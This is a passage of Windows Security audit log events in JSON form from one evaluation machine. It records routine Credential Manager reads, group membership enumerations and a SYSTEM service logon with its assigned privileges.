{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:48.768181Z"}},"EventRecordID":21173,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:48.787783Z"}},"EventRecordID":21174,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","CallerProcessId":"0x1c10","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:49.010781Z"}},"EventRecordID":21175,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:49.015515Z"}},"EventRecordID":21176,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:49.018441Z"}},"EventRecordID":21177,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:49.018488Z"}},"EventRecordID":21178,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:56.009024Z"}},"EventRecordID":21179,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:55.159410Z","ClientProcessId":9092}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:56.011991Z"}},"EventRecordID":21180,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:56.011995Z"}},"EventRecordID":21181,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:56.208350Z"}},"EventRecordID":21182,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftOffice*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:55.159410Z","ClientProcessId":9092}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:00.392580Z"}},"EventRecordID":21183,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x271c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:00.392903Z"}},"EventRecordID":21184,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x271c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:06.983810Z"}},"EventRecordID":21185,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:46.842617Z","ClientProcessId":7116}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:10.698453Z"}},"EventRecordID":21186,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"Microsoft_Windows_Shell_ZipFolder:filename=C:\\Users\\User\\Desktop\\ch2.zip","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:24.189943Z","ClientProcessId":5824}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:15.484345Z"}},"EventRecordID":21187,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"OneDriveCachedCredential*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:10.924887Z","ClientProcessId":10364}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:15.484448Z"}},"EventRecordID":21188,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"OneDrive-INTCachedCredential*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:10.924887Z","ClientProcessId":10364}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:15.562572Z"}},"EventRecordID":21189,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"SkyDrive Cached Credential","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:10.924887Z","ClientProcessId":10364}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:15.562688Z"}},"EventRecordID":21190,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"SkyDrive-INT Cached Credential","Type":1,"CountOfCredentialsReturned":1,"ReadOperation":"%%8099","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:10.924887Z","ClientProcessId":10364}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:15.817019Z"}},"EventRecordID":21191,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"OneDriveCachedCredential*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:10.924887Z","ClientProcessId":10364}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:15.817079Z"}},"EventRecordID":21192,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"OneDrive-INTCachedCredential*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:10.924887Z","ClientProcessId":10364}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:16.479310Z"}},"EventRecordID":21193,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:16.003138Z","ClientProcessId":11004}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:18.339106Z"}},"EventRecordID":21194,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:17.159056Z","ClientProcessId":10428}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:18.458774Z"}},"EventRecordID":21195,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:02:16.003138Z","ClientProcessId":11004}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.724172Z"}},"EventRecordID":21196,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.724216Z"}},"EventRecordID":21197,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.724570Z"}},"EventRecordID":21198,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.945344Z"}},"EventRecordID":21199,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09